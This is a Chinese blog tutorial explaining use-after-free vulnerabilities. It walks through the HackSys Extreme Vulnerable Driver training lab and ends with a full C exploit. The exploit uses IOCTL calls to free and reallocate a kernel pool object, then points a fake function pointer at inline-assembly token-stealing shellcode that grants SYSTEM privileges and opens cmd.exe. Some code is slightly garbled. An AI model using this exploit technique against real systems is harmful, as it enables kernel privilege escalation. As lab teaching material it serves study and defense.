• 初探UAF漏洞


    0x01 UAF介绍

    看下面一段代码:

    1. #include <iostream>
    2. int main()
    3. {
    4.     char* p1 = (char*)malloc(sizeof(char*)*10);
    5.     memcpy(p1,"hello",10);
    6.     printf("p1 addr:%x,p1:%s\n",p1,p1);
    7.     free(p1);  //释放堆空间
    8.     char* p2 = (char*)malloc(sizeof(char** 10);
    9.     memcpy(p2,"world",10);
    10.     printf("p2 addr:%x p1:%s\n",p2,p2);
    11.     printf("p1 addr:%x,p1:%s\n", p1, p1);
    12. }

    结果为:

    指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。

    紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。

    在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

    通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义。

    利用UAF漏洞,总结如下几个步骤:

    1. 申请一块内存以后释放掉它,但是没有清空该内存的指针

    2. 重新申请一块同样大小的内存,此时这两个指针对指向同一块内存

    3. 对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存

    0x02 定位漏洞点

    在释放了g_UseAfterFreeObjectNonPagedPool对应的堆空间后,并没有将该指针指向null。

    导致后续如果有继续使用g_UseAfterFreeObjectNonPagedPool该全局变量,将会导致UAF漏洞。

    该函数名称为FreeUaFObjectNonPagedPool

    0x03 相关函数

    查看g_UseAfterFreeObjectNonPagedPool的交叉引用,看还有那些函数使用了该全局变量。

    其中AllocateUaFObjectNonPagedPool的作用是申请一块内存

    UseUaFObjectNonPagedPool为执行g_UseAfterFreeObjectNonPagedPool指针

    FreeUaFObjectNonPagedPool负责释放堆空间

    有了以上函数我们还需要重新申请一块相同大小的内存来控制g_UseAfterFreeObjectNonPagedPool

    AllocateFakeObjectNonPagedPoolIoCtrlHandler

    0x04 漏洞分析

    申请空间

    AllocateUaFObjectNonPagedPool函数向上跟,发现IOCTL为2236435时调用AllocateUaFObjectNonPagedPoolIoctlHandler函数

    该函数直接调的就是AllocateUaFObjectNonPagedPool

    进入AllocateUaFObjectNonPagedPool后,可以看到通过ExAllocatePoolWithTag申请一个大小为0x58大小空间的内存,并将该内存返回的指针赋值给全局变量g_UseAfterFreeObjectNonPagedPool

    实际上0x58大小正好是一个结构体_USE_AFTER_FREE_NON_PAGED_POOL

    释放空间

    向上跟踪FreeUaFObjectNonPagedPool,看谁调用了他

    IOCTL为2236443时调用FreeUaFObjectNonPagedPoolIoctlHandler函数

    同样FreeUaFObjectNonPagedPoolIoctlHandler仅仅调用了FreeUaFObjectNonPagedPool

    通过ExFreePoolWithTag释放g_UseAfterFreeObjectNonPagedPool指向的空间

    数据载入

    该函数IOCTL为2236511

    将用户模式传入UserFakeObject指向内容拷贝给内核中申请的内存。

    注意这里申请的大小也是0x58,那么试想一种情景:

    如果通过AllocateUaFObjectNonPagedPool申请了一块内存,并通过FreeUaFObjectNonPagedPool释放这块内存,但并没有将g_UseAfterFreeObjectNonPagedPool指针指向null,此时通过AllocateFakeObjectNonPagedPoolNx再次申请内存,那么v1就有可能重新指向一开始申请的内存,即v1g_UseAfterFreeObjectNonPagedPool指向同一块内存,而此时v1可控,由三环UserFakeObject传入,那么此时如果有个函数可以执行g_UseAfterFreeObjectNonPagedPool则可造成UAF漏洞。

    正好有这样一个函数UseUaFObjectNonPagedPool,能执行g_UseAfterFreeObjectNonPagedPool指针。

    0x05 构造exp

    1. #include <iostream>
    2. #include <Windows.h>
    3. typedef void(*FunctionPointer) ();
    4. typedef struct _FAKE_USE_AFTER_FREE
    5. {
    6.     FunctionPointer countinter;
    7.     char bufffer[0x54];
    8. }FAKE_USE_AFTER_FREE* PUSE_AFTER_FREE;
    9. void ShellCode()
    10. {
    11.     _asm
    12.     {
    13.         nop
    14.         pushad
    15.         mov eax, fs: [124h]  
    16.         mov eax, [eax + 0x50]   
    17.         mov ecx, eax
    18.         mov edx, 4              
    19.         find_sys_pid :
    20.         mov eax, [eax + 0xb8]   
    21.         sub eax, 0xb8           
    22.         cmp[eax + 0xb4], edx    
    23.         jnz find_sys_pid
    24.         mov edx, [eax + 0xf8]
    25.         mov[ecx + 0xf8], edx
    26.         popad
    27.         ret
    28.     }
    29. }
    30. static VOID CreateCmd()
    31. {
    32.     STARTUPINFO si = { sizeof(si) };
    33.     PROCESS_INFORMATION pi = { 0 };
    34.     si.dwFlags = STARTF_USESHOWWINDOW;
    35.     si.wShowWindow = SW_SHOW;
    36.     WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    37.     BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULLNULLFALSE, CREATE_NEW_CONSOLE, NULLNULL, (LPSTARTUPINFOW)&si, &pi);
    38.     if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
    39. }
    40. int main()
    41. {
    42.     DWORD recvBuf;
    43.     // 获取句柄
    44.     HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
    45.         GENERIC_READ | GENERIC_WRITE,
    46.         NULL,
    47.         NULL,
    48.         OPEN_EXISTING,
    49.         NULL,
    50.         NULL);
    51.     if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    52.     {
    53.         printf("获取句柄失败\n");
    54.         return 0;
    55.     }
    56.     DeviceIoControl(hDevice, 2236435NULLNULLNULL0&recvBuf, NULL);
    57.     DeviceIoControl(hDevice, 2236443NULLNULLNULL0&recvBuf, NULL);
    58.     PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
    59.     fakeG_UseAfterFree->countinter = ShellCode;
    60.     RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
    61.     DeviceIoControl(hDevice, 2236511, fakeG_UseAfterFree, 0x60NULL0&recvBuf, NULL);
    62.     DeviceIoControl(hDevice, 2236439NULLNULLNULL0&recvBuf, NULL);
    63.     CreateCmd();
    64.     return 0;
    65. }

    为了能够保证v1g_UseAfterFreeObjectNonPagedPool指向同一块内存,可以使用池喷射的方式。

    0x06 修复

    g_UseAfterFreeObjectNonPagedPool在释放后指向null即可避免问题

  • 相关阅读:
    SpringCache--缓存框架 ----苍穹外卖day7
    信息学奥赛一本通:2043:【例5.11】杨辉三角形
    [动态规划] (十四) 简单多状态 LeetCode LCR 091.粉刷房子
    【python操作Excel的方法】
    【面经】什么是回表?
    前缀和与树状数组(数据结构基础篇)
    escape, encodeURI, encodeURIComponent 有什么区别?
    自定义MVC增删改查
    Spring注册Bean系列--方法5:@Import+ImportBeanDefinitionRegistrar
    Hold the door! mosquitto——使用ESP8266以及网络调试助手测试通信
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/126850722